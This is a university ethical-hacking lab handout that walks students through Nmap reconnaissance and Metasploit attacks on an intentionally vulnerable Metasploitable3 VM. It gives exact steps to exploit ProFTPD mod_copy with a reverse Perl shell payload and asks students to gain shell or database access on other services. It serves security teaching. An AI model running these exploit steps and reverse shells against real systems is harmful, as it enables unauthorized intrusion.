

Lab 4 – Ethical Hacking and Pen Testing

EECS 3482
S2025

Instructor: Reza Soltani



The purpose of this lab is to become familiar with basics of *penetration testing* and *simulated cyberattacks*.

In this lab we will use a Kali environment and [Metasploit](#) to perform various penetration testing attacks against a vulnerable target machine with various vulnerable services running.

The target machine is an instance of **Metasploitable3 (Ubuntu Version)**. [Metasploitable](#) is an intentionally vulnerable **Ubuntu** VM created to conduct security training and for practising common pen testing techniques.

Requirements

- A Kali environment with Nmap and Metasploit programs installed
- A target Metasploitable3 environment

Deliverables

A single lab report in PDF, including details of every step of the tasks.

Lab Format

For every step of your labs, including this lab and all future labs in the course, you must provide a clear and **legible screenshot** whenever you use the command prompt.

Before taking the screenshot, and either before or after completing the step, you **must** enter the following command so that your **username**, **full name**, and **timestamp** are visible in the screenshot:

```
echo " Step completed by $(whoami), name: <first> <last>, on $(date)"
```

Note, replace *<first>* and *<last>* with your own first name and last name before running the command.

For example, a student with the name *John Smith* and username *JSUser1* should run the following command:

```
echo "Step completed by $(whoami), name: john smith, on $(date)"
```

to get the following result:

```
Step completed by JSUser1, name: John Smith, on Sat 17 May 2025 12:48:05 EDT
```

Note, there are different kinds of shell interface within Unix/Linux systems. Depending on the environment you are in (such as the *eeecsvm*'s kali environment which uses **ksh** instead of **bash** shell), you may have to enter the following modified command:

```
echo " Step completed by `whoami`, name: <first> <last>, on `date`"
```

or alternatively, enter **bash** in the command prompt to switch to *bash* shell before entering the original *echo* command.

Also note: If you are working on a Windows machine, you must use an equivalent command such as:

```
echo Step completed by %USERNAME%, name: <first> <last>, on %DATE% %TIME%
```

If a lab step does not include the above command or a clear screenshot, marks will be deducted.

Part 1 - Recon

- 1- From the Kali environment conduct a port scan using *Nmap* to identify all open ports/services running on the **target machine**. For every one of the following commands, document your result and the purpose of the flag.
 - a. nmap with -O flag
 - b. Use Nmap with *-top-ports* flag.
 - c. Use Nmap with *-script vuln* flag.
 - d. Use Nmap with *-p-* flag
 - e. Use Nmap with *-sV -sC*.

Part 2- Metasploit

In this section, we will use Metasploit to perform various attacks against the target Metasploitable3 environment.

Target A: ProFTPD

From part 1 of the lab, you should be able to see a service called [ProFTPD](#) running on port 21. We will use Metasploit to exploit a vulnerability in ProFTPD.

- 1- Metasploit uses PostgreSQL. If not running already you may need to start PostgreSQL database by opening a terminal on Kali and entering the following two commands:
 - a. `systemctl start postgresql`
 - b. `msfdb init`
- 2- Start Metasploit by entering: `msfconsole`
- 3- At this point you should have the `msf` prompt available to you.

Note: For more help starting Metasploit see instructions: <https://www.makeuseof.com/beginners-guide-metasploit-kali-linux/> or <https://www.kali.org/docs/tools/starting-metasploit-framework-in-kali/>

- 4- Since we want to target a vulnerable ProFTPD server, begin searching for an exploit in Metasploit by entering the command: `search proftpd`
- 5- To use the exploit listed in the result, use the command 'use' followed by the exploit name: `use exploit/unix/ftp/proftpd_modcopy_exec`
- 6- Display the payload option to be sent to the target by entering: `show payloads`
- 7- Select the correct payload: `set payload payload/cmd/unix/reverse_perl`
or in more recent versions use `set payload cmd/unix/reverse_perl`
[Note, there may be other payloads that can work as well, you can try any payload as long as it gives you **remote shell access** to the target machine]

- 8- Once the exploit is selected, enter the following command to learn more about its options for the exploit and the chosen payload: *show options*
- 9- Set the target machine for this exploit by typing the command:
set RHOSTS [TARGET]
 - a. Note: Replace [TARGET] with the IP address of Metasploitable3 VM
- 10- Then set the location of the exploit on the target machine:
Set SITEPATH /var/www/html

NOTE: This is the path on the target server where the payload will be copied to (e.g., a web-accessible directory)
- 11- Set the FTP port to 21: *set RPORT_FTP 21* **OR** *set RPORT 21*
 - a. Note, This step may not be mandatory but it's always better to confirm that the port for FTP is set to 21!
- 12- Set LHOST to your local IP address: *set LHOST [LOCAL_IP]* , replace [LOCAL IP] with Kali's IP
- 13- Finally, execute the attack by entering: *exploit*
- 14- When the exploit is executed you should be able to gain root shell access on target VM. To verify, run the command: *whoami*
- 15- Look around the target system, and when you are done exit the target machine by entering: *exit* , or hit CTRL-C

Document your steps and results and include the PHP/PERL file detail (name, size, format) generated and deployed to the target!

- 16- Finally provide the **CVE** number of the vulnerability you exploited.

If the exploit fails, troubleshoot by checking the open ports with *nmap*, and verifying the correct spelling of your steps and add any other necessary exploit/payload options.

Target B: Jetty, PhpMyAdmin or Drupal

Use the steps learned from Target A to exploit a **single** target from the list above. The purpose of the attack is to gain one of the following objectives:

- shell access
- admin access to a program
- access to unauthorized file/DB

If after executing your exploit, you are able to gain shell access to the target machine, run the command '**whoami**' and document your result.

Document the version of your target service, your pen test steps and the results. In addition, document any issues that you encountered with executing the exploit, and how you were able to resolve them.

Make sure you document the exploit, payload and the options you use. Similar to the steps in Target A, you should run and document the commands '**show payload**' and '**show options**' before you perform your attacks.

Note, with most exploits, you may be required to provide additional parameters. Therefore study the detail of the exploit and payload, and make sure that the correct parameters are selected before you execute your attack.

Target C: Apache Continuum, IRC, PostgreSQL or MySQL

Select a **single** target C from the provided list above and use the steps learned from Target A and B to exploit the target. The purpose of the attack is to gain one of the following objectives:

- shell access
- admin access to a program
- access to unauthorized file/DB

If you do get shell access, run the command '**whoami**' and document your result.

Document the version of your target service, your pen test steps and the results. In addition, document any issues that you encountered with executing the exploit, and how you were able to resolve them.

Make sure you document the exploit, payload and the options you use. Similar to the steps in Target A, you should run and document the commands '**show payload**' and '**show options**' before you perform your attacks.

Note, with most exploits, you may be required to provide additional parameters. Therefore study the detail of the exploit and payload, and make sure that the correct parameters are selected before you execute your attack.

Notes:

You can research about available exploits for the targets through Metasploit's official website, the Metasploit app itself, or other sources.